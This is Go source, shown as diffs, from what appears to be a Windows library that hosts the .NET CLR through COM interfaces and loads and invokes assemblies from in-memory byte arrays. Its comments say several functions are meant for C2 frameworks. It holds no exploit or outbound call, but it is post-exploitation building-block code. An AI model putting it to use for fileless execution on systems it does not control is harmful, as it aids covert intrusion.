return
}
assembly, err := appDomain.Load_3(safeArrayPtr)
if err != nil {
return
}
methodInfo, err := assembly.GetEntryPoint()
if err != nil {
return
}
var paramSafeArray *SafeArray
methodSignature, err := methodInfo.GetString()
if err != nil {
return
}
if expectsParams(methodSignature) {
if paramSafeArray, err = PrepareParameters(params); err != nil {
return
}
}
nullVariant := Variant{
VT: 1,
Val: uintptr(0),
}
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
if err != nil {
return
}
appDomain.Release()
runtimeHost.Release()
runtimeInfo.Release()
metahost.Release()
return 0, nil
}
// LoadCLR loads the target runtime into the current process and returns the runtimehost
// The intended purpose is for the runtimehost to be reused for subsequent operations
// throught the duration of the program. Commonly used with C2 frameworks
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
if targetRuntime == "" {
targetRuntime = "v4"
}
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
if err != nil {
return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err)
}
runtimes, err := GetInstalledRuntimes(metahost)
debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes))
if err != nil {
return
}
var latestRuntime string
for _, r := range runtimes {
if strings.Contains(r, targetRuntime) {
latestRuntime = r
break
} else {
latestRuntime = r
}
}
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
if err != nil {
return
}
isLoadable, err := runtimeInfo.IsLoadable()
if err != nil {
return
}
if !isLoadable {
err = fmt.Errorf("%s is not loadable for some reason", latestRuntime)
}
return GetICORRuntimeHost(runtimeInfo)
}
// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain,
// loads the assembly into, executes the assembly, and then releases AppDomain
// Intended to be used by C2 frameworks to quickly execute an assembly one time
func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) {
appDomain, err := GetAppDomain(runtimeHost)
if err != nil {
stderr = err.Error()
return
}
safeArrayPtr, err := CreateSafeArray(rawBytes)
if err != nil {
stderr = err.Error()
return
}
assembly, err := appDomain.Load_3(safeArrayPtr)
if err != nil {
stderr = err.Error()
return
}
methodInfo, err := assembly.GetEntryPoint()
if err != nil {
stderr = err.Error()
return
}
var paramSafeArray *SafeArray
methodSignature, err := methodInfo.GetString()
if err != nil {
stderr = err.Error()
return
}
if expectsParams(methodSignature) {
if paramSafeArray, err = PrepareParameters(params); err != nil {
stderr = err.Error()
return
}
}
nullVariant := Variant{
VT: 1,
Val: uintptr(0),
}
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
if err != nil {
stderr = err.Error()
return
}
assembly.Release()
appDomain.Release()
return
}
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
appDomain, err := GetAppDomain(runtimeHost)
if err != nil {
return
}
safeArrayPtr, err := CreateSafeArray(rawBytes)
if err != nil {
return
}
assembly, err := appDomain.Load_3(safeArrayPtr)
if err != nil {
return
}
return assembly.GetEntryPoint()
}
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
// The intended purpose is for the assembly to be executed many times throught the duration of the
// program. Commonly used with C2 frameworks
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
var paramSafeArray *SafeArray
methodSignature, err := methodInfo.GetString()
if err != nil {
stderr = err.Error()
return
}
if expectsParams(methodSignature) {
if paramSafeArray, err = PrepareParameters(params); err != nil {
stderr = err.Error()
return
}
}
nullVariant := Variant{
VT: 1,
Val: uintptr(0),
}
defer SafeArrayDestroy(paramSafeArray)
// Ensure exclusive access to read/write STDOUT/STDERR
mutex.Lock()
defer mutex.Unlock()
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
if err != nil {
stderr = err.Error()
// Don't return because there could be data on STDOUT/STDERR
}
// Read data from previously redirected STDOUT/STDERR
if wSTDOUT != nil {
var e string
stdout, e, err = ReadStdoutStderr()
stderr += e
if err != nil {
stderr += err.Error()
}
}
return
}
+22
View File
@@ -0,0 +1,22 @@
// +build windows
package clr
import (
"golang.org/x/sys/windows"
)
var (
CLSID_CLRMetaHost = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}
IID_ICLRMetaHost = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}
IID_ICLRRuntimeInfo = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}
CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
IID_ICLRRuntimeHost = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
IID_ICorRuntimeHost = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
IID_AppDomain = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}}
// IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119
IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
// DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
)
+22
View File
@@ -0,0 +1,22 @@
package clr
// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions
// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
const (
S_OK = 0x00
S_FALSE = 0x01
// COR_E_TARGETINVOCATION is TargetInvocationException
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0
COR_E_TARGETINVOCATION uint32 = 0x80131604
// COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException
COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538
// COR_E_BADIMAGEFORMAT is BadImageFormatException
COR_E_BADIMAGEFORMAT uint32 = 0x8007000b
// DISP_E_BADPARAMCOUNT is invalid number of parameters
DISP_E_BADPARAMCOUNT uint32 = 0x8002000e
// E_POINTER Pointer that is not valid
E_POINTER uint32 = 0x80004003
// E_NOINTERFACE No such interface supported
E_NOINTERFACE uint32 = 0x80004002
)
+187
View File
@@ -0,0 +1,187 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// Couldnt have done any of this without this SO answer I stumbled on:
// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang
//ICLRMetaHost Interface from metahost.h
type ICLRMetaHost struct {
vtbl *ICLRMetaHostVtbl
}
// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR)
// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified
// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime
// shutdown, and query legacy API binding.
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface
type ICLRMetaHostVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version.
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
GetRuntime uintptr
// GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata),
// given its file path. This method supersedes GetFileVersion.
GetVersionFromFile uintptr
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
// pointer for each CLR version that is installed on a computer.
EnumerateInstalledRuntimes uintptr
// EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
// pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess.
EnumerateLoadedRuntimes uintptr
// RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a
// CLR version is first loaded, but not yet started. This method supersedes LockClrVersion
RequestRuntimeLoadedNotification uintptr
// QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy
// has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the <startup> Element
// configuration file entry, by direct use of the legacy activation APIs, or by calling the
// ICLRRuntimeInfo::BindAsLegacyV2Runtime method.
QueryLegacyV2RuntimeBinding uintptr
// ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process.
ExitProcess uintptr
}
// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging.
// HRESULT CLRCreateInstance(
// [in] REFCLSID clsid,
// [in] REFIID riid,
// [out] LPVOID * ppInterface
// );
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function
func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) {
debugPrint("Entering into iclrmetahost.CLRCreateInstance()...")
if clsid != CLSID_CLRMetaHost {
err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid)
return
}
modMSCoree := syscall.MustLoadDLL("mscoree.dll")
procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance")
// For some reason this procedure call returns "The specified procedure could not be found." even though it works
hr, _, err := procCLRCreateInstance.Call(
uintptr(unsafe.Pointer(&clsid)),
uintptr(unsafe.Pointer(&riid)),
uintptr(unsafe.Pointer(&ppInterface)),
)
if err != nil {
// TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine?
debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err))
}
if hr != S_OK {
err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into icorruntimehost.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
func (obj *ICLRMetaHost) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *ICLRMetaHost) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each
// version of the common language runtime (CLR) that is installed on a computer.
// HRESULT EnumerateInstalledRuntimes (
// [out, retval] IEnumUnknown **ppEnumerator);
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method
func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) {
debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...")
hr, _, err := syscall.Syscall(
obj.vtbl.EnumerateInstalledRuntimes,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&ppEnumerator)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR).
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
// HRESULT GetRuntime (
// [in] LPCWSTR pwzVersion,
// [in] REFIID riid,
// [out,iid_is(riid), retval] LPVOID *ppRuntime
// );
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method
func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) {
debugPrint("Entering into iclrmetahost.GetRuntime()...")
hr, _, err := syscall.Syscall6(
obj.vtbl.GetRuntime,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(pwzVersion)),
uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)),
uintptr(unsafe.Pointer(&ppRuntime)),
0,
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+158
View File
@@ -0,0 +1,158 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
)
type ICLRRuntimeHost struct {
vtbl *ICLRRuntimeHostVtbl
}
// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface
// provided in the .NET Framework version 1, with the following changes
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
type ICLRRuntimeHostVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// Start Initializes the CLR into a process.
Start uintptr
// Stop Stops the execution of code by the runtime.
Stop uintptr
// SetHostControl sets the host control interface. You must call SetHostControl before calling Start.
SetHostControl uintptr
// GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize
// aspects of the common language runtime (CLR).
GetCLRControl uintptr
// UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier.
UnloadAppDomain uintptr
// ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code.
ExecuteInAppDomain uintptr
// GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing.
GetCurrentAppDomainId uintptr
// ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application
// to be activated in a new domain.
ExecuteApplication uintptr
// ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly.
ExecuteInDefaultAppDomain uintptr
}
// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and
// returns an ICLRRuntimeHost and loads it into the current process
func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) {
debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...")
var runtimeHost *ICLRRuntimeHost
err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost))
if err != nil {
return nil, err
}
err = runtimeHost.Start()
return runtimeHost, err
}
func (obj *ICLRRuntimeHost) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *ICLRRuntimeHost) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// Start Initializes the common language runtime (CLR) into a process.
// HRESULT Start();
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method
func (obj *ICLRRuntimeHost) Start() error {
debugPrint("Entering into iclrruntimehost.Start()...")
hr, _, err := syscall.Syscall(
obj.vtbl.Start,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly.
// HRESULT ExecuteInDefaultAppDomain (
// [in] LPCWSTR pwzAssemblyPath,
// [in] LPCWSTR pwzTypeName,
// [in] LPCWSTR pwzMethodName,
// [in] LPCWSTR pwzArgument,
// [out] DWORD *pReturnValue
// );
// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.
// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method
func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) {
hr, _, err := syscall.Syscall9(
obj.vtbl.ExecuteInDefaultAppDomain,
6,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(pwzAssemblyPath)),
uintptr(unsafe.Pointer(pwzTypeName)),
uintptr(unsafe.Pointer(pwzMethodName)),
uintptr(unsafe.Pointer(pwzArgument)),
uintptr(unsafe.Pointer(pReturnValue)),
0,
0,
0)
if err != syscall.Errno(0) {
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing.
// HRESULT GetCurrentAppDomainId(
// [out] DWORD* pdwAppDomainId
// );
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method
func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) {
hr, _, err := syscall.Syscall(
obj.vtbl.GetCurrentAppDomainId,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pdwAppDomainId)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+211
View File
@@ -0,0 +1,211 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type ICLRRuntimeInfo struct {
vtbl *ICLRRuntimeInfoVtbl
}
// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR),
// including version, directory, and load status. This interface also provides runtime-specific functionality
// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime
// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method.
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface
type ICLRRuntimeInfoVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// GetVersionString Gets common language runtime (CLR) version information associated with a given
// ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods.
GetVersionString uintptr
// GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface.
// This method supersedes the GetCORSystemDirectory method.
GetRuntimeDirectory uintptr
// IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process.
IsLoaded uintptr
// LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture.
// This method supersedes the LoadStringRC and LoadStringRCEx methods.
LoadErrorString uintptr
// LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface.
// This method supersedes the LoadLibraryShim method.
LoadLibrary uintptr
// GetProcAddress Gets the address of a specified function that was exported from the CLR associated with
// this interface. This method supersedes the GetRealProcAddress method.
GetProcAddress uintptr
// GetInterface Loads the CLR into the current process and returns runtime interface pointers,
// such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions.
GetInterface uintptr
// IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current
// process, taking into account other runtimes that might already be loaded into the process.
IsLoadable uintptr
// SetDefaultStartupFlags Sets the CLR startup flags and host configuration file.
SetDefaultStartupFlags uintptr
// GetDefaultStartupFlags Gets the CLR startup flags and host configuration file.
GetDefaultStartupFlags uintptr
// BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions.
BindAsLegacyV2Runtime uintptr
// IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started.
IsStarted uintptr
}
// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string
func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) {
pwzVersion, err := syscall.UTF16PtrFromString(version)
if err != nil {
return nil, err
}
return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo)
}
func (obj *ICLRRuntimeInfo) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *ICLRRuntimeInfo) Release() uintptr {
debugPrint("Entering into iclrruntimeinfo.Release()...")
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface.
// HRESULT GetVersionString(
// [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer,
// [in, out] DWORD *pcchBuffer);
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method
func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) {
debugPrint("Entering into iclrruntimeinfo.GetVersion()...")
// [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation.
var pchBuffer uint32
hr, _, err := syscall.Syscall(
obj.vtbl.GetVersionString,
3,
uintptr(unsafe.Pointer(obj)),
0,
uintptr(unsafe.Pointer(&pchBuffer)),
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err)
return
}
// 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation
if hr != S_OK && hr != 0x8007007a {
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr)
return
}
pwzBuffer := make([]uint16, 20)
hr, _, err = syscall.Syscall(
obj.vtbl.GetVersionString,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pwzBuffer[0])),
uintptr(unsafe.Pointer(&pchBuffer)),
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
version = syscall.UTF16ToString(pwzBuffer)
return
}
// GetInterface loads the CLR into the current process and returns runtime interface pointers,
// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx.
// HRESULT GetInterface(
// [in] REFCLSID rclsid,
// [in] REFIID riid,
// [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method
func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error {
debugPrint("Entering into iclrruntimeinfo.GetInterface()...")
hr, _, err := syscall.Syscall6(
obj.vtbl.GetInterface,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&rclsid)),
uintptr(unsafe.Pointer(&riid)),
uintptr(ppUnk),
0,
0,
)
// The syscall returns "The requested lookup key was not found in any active activation context." in the error position
// TODO Why is this error message returned?
if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." {
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions.
// HRESULT BindAsLegacyV2Runtime ();
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method
func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error {
debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...")
hr, _, err := syscall.Syscall(
obj.vtbl.BindAsLegacyV2Runtime,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process,
// taking into account other runtimes that might already be loaded into the process.
// HRESULT IsLoadable(
// [out, retval] BOOL *pbLoadable);
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method
func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) {
debugPrint("Entering into iclrruntimeinfo.IsLoadable()...")
hr, _, err := syscall.Syscall(
obj.vtbl.IsLoadable,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pbLoadable)),
0)
if err != syscall.Errno(0) {
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+231
View File
@@ -0,0 +1,231 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type ICORRuntimeHost struct {
vtbl *ICORRuntimeHostVtbl
}
// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR)
// explicitly, to create and configure application domains, to access the default domain, and to enumerate all
// domains running in the process.
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
type ICORRuntimeHostVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// CreateLogicalThreadState Do not use.
CreateLogicalThreadState uintptr
// DeleteLogicalThreadSate Do not use.
DeleteLogicalThreadState uintptr
// SwitchInLogicalThreadState Do not use.
SwitchInLogicalThreadState uintptr
// SwitchOutLogicalThreadState Do not use.
SwitchOutLogicalThreadState uintptr
// LocksHeldByLogicalThreadState Do not use.
LocksHeldByLogicalThreadState uintptr
// MapFile Maps the specified file into memory. This method is obsolete.
MapFile uintptr
// GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR.
GetConfiguration uintptr
// Start Starts the CLR.
Start uintptr
// Stop Stops the execution of code in the runtime for the current process.
Stop uintptr
// CreateDomain Creates an application domain. The caller receives an interface pointer of
// type _AppDomain to an instance of type System.AppDomain.
CreateDomain uintptr
// GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process.
GetDefaultDomain uintptr
// EnumDomains Gets an enumerator for the domains in the current process.
EnumDomains uintptr
// NextDomain Gets an interface pointer to the next domain in the enumeration.
NextDomain uintptr
// CloseEnum Resets a domain enumerator back to the beginning of the domain list.
CloseEnum uintptr
// CreateDomainEx Creates an application domain. This method allows the caller to pass an
// IAppDomainSetup instance to configure additional features of the returned _AppDomain instance.
CreateDomainEx uintptr
// CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance.
// IAppDomainSetup provides methods to configure aspects of an application domain before it is created.
CreateDomainSetup uintptr
// CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security
// evidence to pass to CreateDomain or CreateDomainEx.
CreateEvidence uintptr
// UnloadDomain Unloads the specified application domain from the current process.
UnloadDomain uintptr
// CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread.
CurrentDomain uintptr
}
